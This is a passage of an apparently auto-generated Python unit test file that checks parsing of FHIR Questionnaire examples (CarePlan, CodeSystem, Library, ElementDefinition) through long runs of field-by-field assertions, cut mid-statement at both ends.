inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].linkId == "CarePlan.text" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert ( inst.item[0].item[5].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "CarePlan.contained" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].text == "Contained, inline Resources" assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "CarePlan.extension" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Additional Content defined by implementations" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "CarePlan.modifierExtension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extensions that cannot be ignored" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[0].valueString == "Identifier" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].item[1].linkId == "CarePlan.identifier.label" assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert inst.item[0].item[9].item[1].text == "label:" assert inst.item[0].item[9].item[1].type == "string" assert inst.item[0].item[9].item[2].linkId == "CarePlan.identifier.system" assert inst.item[0].item[9].item[2].repeats is False assert inst.item[0].item[9].item[2].required is False assert inst.item[0].item[9].item[2].text == "system:" assert inst.item[0].item[9].item[2].type == "string" assert inst.item[0].item[9].item[3].linkId == "CarePlan.identifier.value" assert inst.item[0].item[9].item[3].repeats is False assert inst.item[0].item[9].item[3].required is False assert inst.item[0].item[9].item[3].text == "value:" assert inst.item[0].item[9].item[3].type == "string" assert inst.item[0].item[9].linkId == "CarePlan.identifier" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "External Ids for this plan" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "CarePlan" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "Healthcare plan for patient or group" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (Patient Care)" assert inst.status == "draft" def test_questionnaire_7(base_settings): """No. 7 tests collection for Questionnaire. Test File: careplan-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "careplan-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_7(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_7(inst2) def impl_questionnaire_8(inst): assert inst.contained[0].id == "vs2" assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].text == ( "A code system resource specifies a set of codes drawn from " "one or more code systems." ) assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "CodeSystem.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "Logical id of this artifact" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "CodeSystem.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "CodeSystem.meta" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Metadata about the resource" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[1].valueString == "uri" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].item[1].linkId == "CodeSystem.implicitRules.value" assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "CodeSystem.implicitRules" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "CodeSystem.language.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "language" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "CodeSystem.language" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].linkId == "CodeSystem.text" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert ( inst.item[0].item[5].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "CodeSystem.contained" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].text == "Contained, inline Resources" assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "CodeSystem.extension" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Additional Content defined by implementations" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "CodeSystem.modifierExtension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extensions that cannot be ignored" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[9].extension[0].valueInteger == 1 assert inst.item[0].item[9].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[1].valueString == "uri" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].item[1].linkId == "CodeSystem.url.value" assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert inst.item[0].item[9].item[1].text == ( "Logical URI to reference this code system (globally unique) " "(Coding.system)" ) assert inst.item[0].item[9].item[1].type == "string" assert inst.item[0].item[9].linkId == "CodeSystem.url" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "CodeSystem" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "A set of codes drawn from one or more code systems" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (Vocabulary)" assert inst.status == "draft" def test_questionnaire_8(base_settings): """No. 8 tests collection for Questionnaire. Test File: codesystem-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "codesystem-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_8(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_8(inst2) def impl_questionnaire_9(inst): assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "Library.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "Logical id of this artifact" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "Library.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "Library.meta" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Metadata about the resource" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[1].valueString == "uri" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].item[1].linkId == "Library.implicitRules.value" assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "Library.implicitRules" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "Library.language.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "language" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "Library.language" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].linkId == "Library.text" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert ( inst.item[0].item[5].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "Library.contained" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].text == "Contained, inline Resources" assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "Library.extension" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Additional Content defined by implementations" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "Library.modifierExtension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extensions that cannot be ignored" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[9].extension[0].valueInteger == 1 assert inst.item[0].item[9].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[1].valueString == "uri" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].item[1].linkId == "Library.url.value" assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert ( inst.item[0].item[9].item[1].text == "Logical URI to reference this library (globally unique)" ) assert inst.item[0].item[9].item[1].type == "string" assert inst.item[0].item[9].linkId == "Library.url" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "Library" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "Represents a library of quality improvement components" assert inst.item[0].type == "group" assert ( inst.publisher == "Health Level Seven International (Clinical Decision Support)" ) assert inst.status == "draft" def test_questionnaire_9(base_settings): """No. 9 tests collection for Questionnaire. Test File: library-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "library-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_9(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_9(inst2) def impl_questionnaire_10(inst): assert inst.contained[0].id == "vs2" assert inst.contained[1].id == "vs3" assert inst.contained[2].id == "vs4" assert inst.contained[3].id == "vs5" assert inst.contained[4].id == "vs6" assert inst.contained[5].id == "vs7" assert inst.contained[6].id == "vs8" assert inst.date == fhirtypes.DateTime.validate("2015-02-28T00:00:00+11:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].text == ( "Captures constraints on each element within the resource, " "profile, or extension." ) assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].text == ( "unique id for the element within a resource (for internal " "references). This may be any string value that does not " "contain spaces." ) assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "ElementDefinition.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "xml:id (or equivalent in JSON)" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "ElementDefinition.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert 